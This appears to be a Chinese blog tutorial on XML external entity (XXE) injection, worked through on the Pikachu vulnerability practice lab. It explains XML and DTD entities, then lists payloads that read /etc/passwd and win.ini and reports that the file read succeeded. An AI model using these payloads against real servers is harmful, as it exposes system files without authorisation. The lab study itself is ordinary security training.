Pikachu漏洞练习平台之XXE（XML外部实体注入）
目录
什么是 XML？
什么是DTD？
什么是XEE？
常见payload
什么是 XML？
XML 指可扩展标记语言（EXtensible Markup Language）；
XML 不会做任何事情，而是用来结构化、存储以及传输信息；
XML 标签没有被预定义，需要我们自行定义标签。
XML总体由元素组成，元素可以额外附加属性，需要提前定义，元素中可以引用实体。
XML中的5个预定义实体引用：
< <
> >
& &
" "
' '实体根据引用方式，分为内部实体与外部实体 。
实体可以理解为变量，必须先在DTD中定义声明，然后在文档中的其他位置引用该变量的值。
<square width="100" /> &a; </square>元素 属性 实体内部实体：
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体：
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">一个 XML 文档实例：
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>第一行是 XML 声明，它定义 XML 的版本（1.0）和所使用的编码（UTF-8 : 万国码, 可显示各种语言）；下一行描述文档的根元素（本文档是一个便签：<note>）；接下来 4 行描述了根的 4 个子元素（to, from, heading 以及 body）。
什么是DTD？
文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构，DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
内部的 DOCTYPE 声明：假如 DTD 被包含在 XML 源文件中
<!DOCTYPE 根元素 [元素声明]>外部文档声明：假如 DTD 位于 XML 源文件的外部
<!DOCTYPE 根元素 SYSTEM "文件名">带有 DTD 的 XML 文档实例：
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>在DTD设置了一些变量，然后在XML文档中再使用到这些变量。
什么是XEE？
XXE就是攻击者自定义了XML文件进行了执行，最终效果实现读取系统文件。
常见payload
测试代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe 'test' > ]>
<foo>&xxe;</foo>读取文件的payload
对于Windows：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>对于Linux：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>UTF-8（可变长度编码）有时候也用ISO-8859-1（单字节固定长度编码）也可不指定编码
测试解析xml代码情况
回显test
因为我这里的靶场是使用Linux系统搭建的，因此尝试读取 /etc/passwd
读取成功
相关文章：
Pikachu漏洞练习平台之XXE（XML外部实体注入）
目录 什么是 XML？ 什么是DTD？ 什么是XEE？ 常见payload 什么是 XML？ XML 指可扩展标记语言（EXtensible Markup Language）； XML 不会做任何事情，而是用来结构化、存储以及传输信息…...
ubuntu中/etc/rc.local和/etc/init.d/rc.local的区别是什么
在早期版本的Ubuntu中，通常会使用 /etc/rc.local 或 /etc/init.d/rc.local 文件执行在系统启动时需要运行的自定义脚本或命令。然而，随着Ubuntu的版本升级，这两者的使用方式有了一些变化。 /etc/rc.local： 功能： /etc/…...
vue项目中 commonJS转es6
背景：项目中需要使用一个插件，但是插件底层是commonJS语法 项目结构：webpackvue2.x 转换准备工作 安装插件： 以下插件如已安装请忽略 npm install babel/preset-env vue/cli-plugin-babel/preset babel/plugin-transform-runt…...
【C++】AVL树（动图详解）
文章目录 一、前言二、AVL树的概念（引入bf）三、AVL节点树的定义四、AVL树的基本框架五、AVL树的旋转5.1左单旋（新节点插入较高右子树的右侧---右右：左单旋）例一（h0）例二（h1ÿ…...
「Verilog学习笔记」用3-8译码器实现全减器
专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点，刷题网站用的是牛客网 分析 首先列出3-8译码器和全减器的真值表 全减器真值表如下 3-8译码器真值表如下 timescale 1ns/1nsmodule decoder_38(input E ,input A0 …...
rocketmq: MQClientException: No route info of this topic
可能是broker没连接到（或配置）name server有关...
【Vue全家桶 合集 关注收藏】
【Vue全家桶】全面了解学习并实践总结Vue必备知识点 写在前面 🤗 这里是SuperYi Vue全家桶合集站！ 🌻 人海茫茫，感谢这一秒你看到这里。希望我的文章对你的有所帮助！ 🌟 愿你在未来的日子，保持…...
react+video.js h5自定义视频暂停图标
目录 参考网址 效果图，暂停时显示暂停图标，播放时隐藏暂停图标 代码说明，代码传入url后，可直接复制使用 VideoPausedIcon.ts 组件 VideoCom.tsx Video.module.less 参考网址 在Video.js播放器中定制自己的组件 - acgtofe 效…...
CentOS和Ubuntu中防火墙相关命令
CentOS和Ubuntu中防火墙相关命令 1、CentOS7中防火墙相关命令2、Ubuntu中防火墙相关命令 1、CentOS7中防火墙相关命令 在CentOS 7中，与防火墙相关的命令主要包括firewalld命令。以下是一些常用的firewalld命令： 查看firewalld服务状态： syst…...
学习笔记5——对象、直接内存、执行引擎，string
学习笔记系列开头惯例发布一些寻亲消息 链接：https://baobeihuijia.com/bbhj/contents/3/192486.html 创建对象的步骤 对象对应的类是否被加载，链接（链接到真实的内存地址），初始化（类初始化）…...
【node】如何在打包前进行请求等操作npm run build
举例，在运行 npm run build 之前将路由表传递给后端，可以采取以下步骤： 创建一个脚本文件，例如 generateRoutes.js，用于生成路由表文件。 在该脚本文件中，导入路由配置文件和后端要接收路由表的接口。 使…...
鸿蒙4.0真机调试踩坑
传言鸿蒙next版本将不再兼容Android，所以领导安排做下鸿蒙开发的调研工作。 鸿蒙开发指南其实已经非常的友好了。但是鸿蒙开发本身还是有些坑要踩，这篇文章主要讲了鸿蒙真机调试问题。 目前手上的真机为华为 nova6，处理器为麒麟990.鸿蒙系统…...
中文撰稿好用软件推荐TexPage(似于Overleaf)
由于本人用惯了overleaf所以找到了一个与他功相似的也同样是利用tex写文章。唯一的区别可能也就是overleaf只支持英文，而TexPage中英文都支持。关键是不花钱，好用好用好用，用起来！ 平台网址：https://www.texpage.com/…...
AD教程 （十七）3D模型的创建和导入
AD教程 （十七）3D模型的创建和导入 对于设计者来讲，现在3DPCB比较流行，3DPCB，除了美观之外，做3D的最终的一个目的，是为了去核对结构，就是我们去做了这么一个PCB之后，如果说…...
企业微信获取第三方应用凭证
上一篇介绍了如何配置通用开发参数及通过url回调验证， 本篇将通过服务商后台配置关联小程序应用配置和获取第三方凭证及如何配置企业可信IP。 当然上篇配置的回调设置也不会白费，在下方的指令和数据回调会用到。 第三方应用开发流程 官方企业微信第三方…...
增删改查mysql
查询 -- 查询表结果-- 查看 当前数据库下的表show tables;-- 查看指定的表desc tb_emp; -- td_emp 是表名-- 查看 数据库的见表语句show create table tb_emp; 修改 -- 修改表结构 -- 修改 为表 tb_emp 添加字段 qq varchar(11) alter table tb_emp add qq varchar(11) …...
【vue】下载导出excel
下载导出excel 首先使用的tdesign框架，要导出后端返回的数据流excel 遇见的问题 下载的文件，里边的内容是undefined 观察报错 一看就知道并不是后端的报错，后端不可能是undefined 在强烈的好奇心驱动下，看了下接口࿰…...
c#正则表达式
using System.Text.RegularExpressions; namespace demo1 {/// <summary>/// 正则表达式（Regular Expression）是一种文本模式，包括普通字符（例如，a～z的字母）和特殊字符（称为“…...
C#密封类和密封成员
密封类和密封成员需要使用 sealed 修饰符，他可以防止当前类被继承或者防止派生类在继承的过程中重写某个方法。 与abstract抽象修饰符类似，sealed 修饰符不仅可用来修饰class，同样也可以修饰类成员。如果sealed关键词用在class上，…...
三、Eureka注册中心
目录 一、作用及调用方式 二、搭建eureka注册中心 三、注册user-service和order-service 四、新增实例 五、服务拉取 六、总结 一、作用及调用方式 在服务提供者启动时，它会向eureka注册中心提供自己的信息，并每30秒进行一次刷新eureka注册中心保存…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API，用于在函数组件中使用 state 和其他 React 特性（例如生命周期方法、context 等）。Hooks 通过简洁的函数接口，解决了状态与 UI 的高度解耦，通过函数式编程范式实现更灵活 Rea…...
C++初阶-list的底层
目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...
论文解读：交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架（二）
HoST框架核心实现方法详解 - 论文深度解读（第二部分） 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章： 论文深度解读 + 算法与代码分析（二） 作者机构： 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题： 人形机器人…...
label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
【Oracle APEX开发小技巧12】
有如下需求： 有一个问题反馈页面，要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据，方便管理员及时处理反馈。 我的方法：直接将逻辑写在SQL中，这样可以直接在页面展示 完整代码： SELECTSF.FE…...
2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议（EPSFD 2025）将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会，EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中，接口是一种抽象类型，它定义了一组方法的集合： // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的： // 矩形结构体…...
页面渲染流程与性能优化
页面渲染流程与性能优化详解（完整版） 一、现代浏览器渲染流程（详细说明） 1. 构建DOM树 浏览器接收到HTML文档后，会逐步解析并构建DOM（Document Object Model）树。具体过程如下： (…...
如何理解 IP 数据报中的 TTL？
目录 前言理解 前言 面试灵魂一问：说说对 IP 数据报中 TTL 的理解？我们都知道，IP 数据报由首部和数据两部分组成，首部又分为两部分：固定部分和可变部分，共占 20 字节，而即将讨论的 TTL 就位于首…...
基于Java Swing的电子通讯录设计与实现：附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用，结合SQLite数据库实现联系人管理功能，并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能，同时可以最小化到系统…...